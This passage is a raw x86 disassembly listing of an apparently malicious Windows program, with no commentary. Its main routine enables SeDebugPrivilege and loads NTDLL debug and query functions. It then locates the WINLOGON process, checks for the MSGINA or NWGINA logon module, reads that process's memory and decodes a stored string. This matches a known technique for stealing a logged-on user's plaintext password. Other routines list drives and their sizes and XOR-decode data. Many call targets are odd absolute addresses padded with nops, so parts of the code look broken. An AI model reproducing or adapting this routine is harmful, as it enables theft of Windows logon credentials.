[ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_4376A4 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_4167F5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4167F5: ; CODE XREF: ___:004167D3j lea eax, [ebp-510h] push eax call sub_4151AC push 10h lea eax, [ebp-10h] push esi push eax call sub_41B590 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41B590 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset dword_43D128 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi nop call near ptr 2670B1Dh cmp eax, edi jnz short loc_416877 call dword_4CAECC call sub_418359 push esi nop call near ptr 77E75CB5h loc_416877: ; CODE XREF: ___:00416863j lea eax, [ebp-148h] push eax push offset unk_437670 jmp short loc_416891 ; --------------------------------------------------------------------------- loc_416885: ; CODE XREF: ___:0041643Ej lea eax, [ebp-248h] push eax push offset unk_437644 loc_416891: ; CODE XREF: ___:00416883j lea eax, [ebp-510h] push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4168C5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4168C5: ; CODE XREF: ___:004168A3j lea eax, [ebp-510h] push eax call sub_4151AC pop ecx loc_4168D2: ; CODE XREF: ___:00416695j ; ___:0041671Ej ... push dword ptr [ebp-18h] call dword_4CAFA8 push dword ptr [ebp-48h] call sub_40B412 pop ecx push esi call near ptr 26F0000h nop ; =============== S U B R O U T I N E ======================================= sub_4168EB proc near ; CODE XREF: ___:00416517p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416907 loc_4168F7: ; CODE XREF: sub_4168EB+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4168F7 locret_416907: ; CODE XREF: sub_4168EB+Aj retn sub_4168EB endp ; =============== S U B R O U T I N E ======================================= sub_416908 proc near ; CODE XREF: sub_401ACD+5841p ; sub_401ACD+5969p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41D3BE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416908 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416922 proc near ; CODE XREF: sub_40F96A+458p ; sub_40F96A+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D2BA8 push 0 push edi call sub_41B590 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416947: ; CODE XREF: sub_416922+5Bj ; sub_416922+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41D480 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41D410 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416985 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416947 mov byte ptr [esi], 2Ch inc esi jmp short loc_416947 ; --------------------------------------------------------------------------- loc_416985: ; CODE XREF: sub_416922+4Bj dec esi mov eax, edi loc_416988: ; CODE XREF: sub_416922+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416997 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416988 ; --------------------------------------------------------------------------- loc_416997: ; CODE XREF: sub_416922+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416922 endp ; =============== S U B R O U T I N E ======================================= sub_4169A1 proc near ; CODE XREF: sub_416B56+51p ; sub_416B56+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFD4 sub eax, 0 jz short loc_4169E4 dec eax jz short loc_4169DE dec eax dec eax jz short loc_4169D8 dec eax jz short loc_4169D2 dec eax jz short loc_4169CC dec eax jz short loc_4169C6 mov eax, offset word_437834 retn ; --------------------------------------------------------------------------- loc_4169C6: ; CODE XREF: sub_4169A1+1Dj mov eax, offset off_437830 retn ; --------------------------------------------------------------------------- loc_4169CC: ; CODE XREF: sub_4169A1+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4169D2: ; CODE XREF: sub_4169A1+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4169D8: ; CODE XREF: sub_4169A1+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4169DE: ; CODE XREF: sub_4169A1+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4169E4: ; CODE XREF: sub_4169A1+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4169A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169EA proc near ; CODE XREF: sub_416A32+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CAE64 test eax, eax jz short loc_416A1F lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416A1F: ; CODE XREF: sub_4169EA+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4169EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A32 proc near ; CODE XREF: sub_416B56+17p ; sub_41AA42+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4169EA pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B10 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41D500 push edx push eax call sub_416922 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41B980 add esp, 10h pop ebx jmp short loc_416B42 ; --------------------------------------------------------------------------- loc_416B10: ; CODE XREF: sub_416A32+2Cj ; sub_416A32+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41B886 pop ecx pop ecx loc_416B42: ; CODE XREF: sub_416A32+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B56 proc near ; CODE XREF: sub_416C28+17p ; sub_416C28+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C070 add esp, 10h test eax, eax jnz short loc_416BC9 push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437884 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 14h jmp short loc_416BFD ; --------------------------------------------------------------------------- loc_416BC9: ; CODE XREF: sub_416B56+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437848 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 20h loc_416BFD: ; CODE XREF: sub_416B56+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_500] push eax call sub_4151AC add esp, 18h pop edi pop esi pop ebx leave retn sub_416B56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C28 proc near ; CODE XREF: sub_401ACD+2553p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416C49 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h jmp short loc_416CAA ; --------------------------------------------------------------------------- loc_416C49: ; CODE XREF: sub_416C28+9j push esi push edi push ebx push ebx call dword_4CAEDC lea esi, [eax+2] push esi call sub_41B4D5 pop ecx mov edi, eax push edi push esi call dword_4CAEDC cmp [edi], bl mov esi, edi jz short loc_416CA1 loc_416C6D: ; CODE XREF: sub_416C28+77j push offset aA_1 ; "A:\\" push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_416C90 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h loc_416C90: ; CODE XREF: sub_416C28+54j push esi call sub_41AFE0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416C6D loc_416CA1: ; CODE XREF: sub_416C28+43j push edi call sub_41B0B1 pop ecx pop edi pop esi loc_416CAA: ; CODE XREF: sub_416C28+1Fj pop ebx pop ebp retn sub_416C28 endp ; --------------------------------------------------------------------------- byte_416CAD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+689Fo dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h dd 78E46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h dd 8D5018C4h, 0FFFB6485h, 78C468FFh, 0E8500043h, 4B06h dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh, 8D50F475h dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h dd 0E8535959h, 22D923Ch, 5B5E5F90h, 81EC8B55h, 54CECh dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 2868FFFFh dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh, 45892CC4h dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 35917FE8h, 75C08502h dd 0FC75FF8Fh, 9527E890h, 75FF0233h, 0B8858D14h, 0FFFFFFFDh dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh, 43790Ch dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h dd 50FFFFFEh, 0F9E89056h, 85023590h, 56B175C0h, 3394A4E8h dd 458B9002h, 5B5E5F1Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F1A proc near ; DATA XREF: sub_401ACD+1CCFo var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41A8F4 cmp eax, esi mov [ebp+var_4], eax jz short loc_416F59 cmp eax, 2 jz short loc_416F59 push offset unk_437B00 jmp loc_417098 ; --------------------------------------------------------------------------- loc_416F59: ; CODE XREF: sub_416F1A+2Ej ; sub_416F1A+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx test eax, eax pop ecx jz loc_417093 push ebx push offset aNtdll_dll ; "NTDLL.DLL" call near ptr 26C0000h nop mov esi, dword_4270BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D3DEC, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D3DE0, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D3FF0, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D3DE8, eax call esi mov dword_4D3DE4, eax call sub_4170EC test eax, eax mov [ebp+arg_0], eax jz loc_417066 mov esi, dword_42713C mov edi, 400h mov ebx, offset dword_4D2DE0 push edi push ebx push offset off_437A3C call esi push edi mov edi, offset dword_4D35E0 push edi push offset off_437A24 call esi cmp [ebp+var_4], 1 push offset dword_4D3FF8 push [ebp+arg_0] jnz short loc_417012 call sub_417275 jmp short loc_417017 ; --------------------------------------------------------------------------- loc_417012: ; CODE XREF: sub_416F1A+EFj call sub_41741C loc_417017: ; CODE XREF: sub_416F1A+F6j pop ecx test eax, eax pop ecx jz short loc_41705F cmp dword_4D3FF8, 0 jnz short loc_417046 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_4379C8 push 200h push eax call sub_41B980 add esp, 18h jmp short loc_417079 ; --------------------------------------------------------------------------- loc_417046: ; CODE XREF: sub_416F1A+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417056 call sub_417552 jmp short loc_41705B ; --------------------------------------------------------------------------- loc_417056: ; CODE XREF: sub_416F1A+133j call sub_4175E9 loc_41705B: ; CODE XREF: sub_416F1A+13Aj pop ecx push eax jmp short loc_41706B ; --------------------------------------------------------------------------- loc_41705F: ; CODE XREF: sub_416F1A+101j push offset unk_437990 jmp short loc_41706B ; --------------------------------------------------------------------------- loc_417066: ; CODE XREF: sub_416F1A+B6j push offset unk_437964 loc_41706B: ; CODE XREF: sub_416F1A+143j ; sub_416F1A+14Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_417079: ; CODE XREF: sub_416F1A+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push [ebp+var_8] nop call near ptr 27A04A6h pop ebx jmp short loc_4170A6 ; --------------------------------------------------------------------------- loc_417093: ; CODE XREF: sub_416F1A+4Ej push offset unk_437930 loc_417098: ; CODE XREF: sub_416F1A+3Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_4170A6: ; CODE XREF: sub_416F1A+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4170CD push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409A72 add esp, 14h loc_4170CD: ; CODE XREF: sub_416F1A+191j lea eax, [ebp+var_29C] push eax call sub_4151AC push [ebp+var_18] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26F0000h pop edi pop esi sub_416F1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4170EC proc near ; CODE XREF: sub_416F1A+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427148 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427144 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D3DEC push ebp push 0 call esi push eax nop call near ptr 27B0000h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D3DEC test eax, eax jnz short loc_4171D9 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4171D9 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4171D9 loc_417175: ; CODE XREF: sub_4170EC+EBj cmp word ptr [ebx+8], 5 jnz short loc_4171CC push 0 push 0 call dword_4D3DE0 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D3FF0 test eax, eax jnz short loc_4171BD mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4171F1 loc_4171BD: ; CODE XREF: sub_4170EC+AAj test edi, edi jz short loc_4171C8 push edi call dword_4D3DE8 loc_4171C8: ; CODE XREF: sub_4170EC+D3j mov eax, [esp+28h+var_10] loc_4171CC: ; CODE XREF: sub_4170EC+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417175 loc_4171D9: ; CODE XREF: sub_4170EC+6Dj ; sub_4170EC+7Aj ... xor edi, edi loc_4171DB: ; CODE XREF: sub_4170EC+17Dj push ebp push 0 call esi push eax nop call near ptr 27B0000h mov eax, edi loc_4171E9: ; CODE XREF: sub_4170EC+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4171F1: ; CODE XREF: sub_4170EC+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_41725A lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417207: ; CODE XREF: sub_4170EC+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41726E push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41724C mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41724C: ; CODE XREF: sub_4170EC+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417207 loc_41725A: ; CODE XREF: sub_4170EC+10Fj test edi, edi jz short loc_417265 push edi call dword_4D3DE8 loc_417265: ; CODE XREF: sub_4170EC+170j mov edi, [esp+28h+var_4] jmp loc_4171DB ; --------------------------------------------------------------------------- loc_41726E: ; CODE XREF: sub_4170EC+13Cj xor eax, eax jmp loc_4171E9 sub_4170EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417275 proc near ; CODE XREF: sub_416F1A+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 269039Ch cmp eax, esi mov [ebp+var_4], eax jnz short loc_41729E xor eax, eax jmp loc_417419 ; --------------------------------------------------------------------------- loc_41729E: ; CODE XREF: sub_417275+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 27D0226h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427148 push 8 call esi mov edi, dword_427144 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_427150 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_4172EE xor esi, esi jmp loc_41740C ; --------------------------------------------------------------------------- loc_4172EE: ; CODE XREF: sub_417275+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 27C0BF0h test eax, eax jz loc_4173FB mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4173FB test [ebp+var_2B], 1 jnz loc_4173FB push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4173FB loc_417351: ; CODE XREF: sub_417275+112j push edi push offset dword_4D2DE0 call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_417379 lea eax, [edi+200h] push eax push offset dword_4D35E0 call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417389 loc_417379: ; CODE XREF: sub_417275+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4173FB jmp short loc_417351 ; --------------------------------------------------------------------------- loc_417389: ; CODE XREF: sub_417275+102j test edi, edi jz short loc_4173FB lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 276059Bh test eax, eax jz short loc_4173C4 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call near ptr 2760000h nop test eax, eax jz short loc_4173C4 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4173C4: ; CODE XREF: sub_417275+12Bj ; sub_417275+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4004, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D3FFC, eax mov dword_4D4000, edi loc_4173FB: ; CODE XREF: sub_417275+90j ; sub_417275+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 27B0000h mov esi, [ebp+var_10] loc_41740C: ; CODE XREF: sub_417275+74j push [ebp+var_4] nop call near ptr 2670822h pop edi mov eax, esi pop ebx loc_417419: ; CODE XREF: sub_417275+24j pop esi leave retn sub_417275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41741C proc near ; CODE XREF: sub_416F1A:loc_417012p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 269039Ch test eax, eax mov [ebp+arg_0], eax jz loc_41750E mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call near ptr 27D0226h nop mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417505 mov edi, dword_427148 loc_417467: ; CODE XREF: sub_41741C+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 27C0BF0h test eax, eax jz short loc_4174F3 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4174F9 test [ebp+var_13], 1 jnz short loc_4174F9 push ecx push 8 call edi push eax nop call near ptr 27C0000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] nop call near ptr 27D0000h test eax, eax jz short loc_4174E5 push offset dword_4D2DE0 push esi call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_4174E5 lea eax, [esi+400h] push offset dword_4D35E0 push eax call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417515 loc_4174E5: ; CODE XREF: sub_41741C+9Fj ; sub_41741C+B0j push esi push 0 call edi push eax nop call near ptr 27B0000h jmp short loc_4174F9 ; --------------------------------------------------------------------------- loc_4174F3: ; CODE XREF: sub_41741C+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4174F9: ; CODE XREF: sub_41741C+71j ; sub_41741C+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417467 loc_417505: ; CODE XREF: sub_41741C+3Fj push [ebp+arg_0] nop call near ptr 2670822h loc_41750E: ; CODE XREF: sub_41741C+1Ej xor eax, eax loc_417510: ; CODE XREF: sub_41741C+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417515: ; CODE XREF: sub_41741C+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D3FFC, ebx mov dword_4D4000, eax cmp [eax], cl jnz short loc_417537 cmp [eax+1], cl jz short loc_41753F loc_417537: ; CODE XREF: sub_41741C+114j ; sub_41741C+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417537 loc_41753F: ; CODE XREF: sub_41741C+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx call near ptr 2670822h nop push 1 pop eax jmp short loc_417510 sub_41741C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417552 proc near ; CODE XREF: sub_416F1A+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D3FF8 push esi mov esi, dword_427148 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 27C0000h mov ecx, dword_4D3FF8 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4000 push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4004 push eax call dword_4D3DE4 push [ebp+var_4] mov edi, offset dword_4D3DF0 push offset dword_4D2DE0 push offset dword_4D35E0 push [ebp+arg_0] push offset 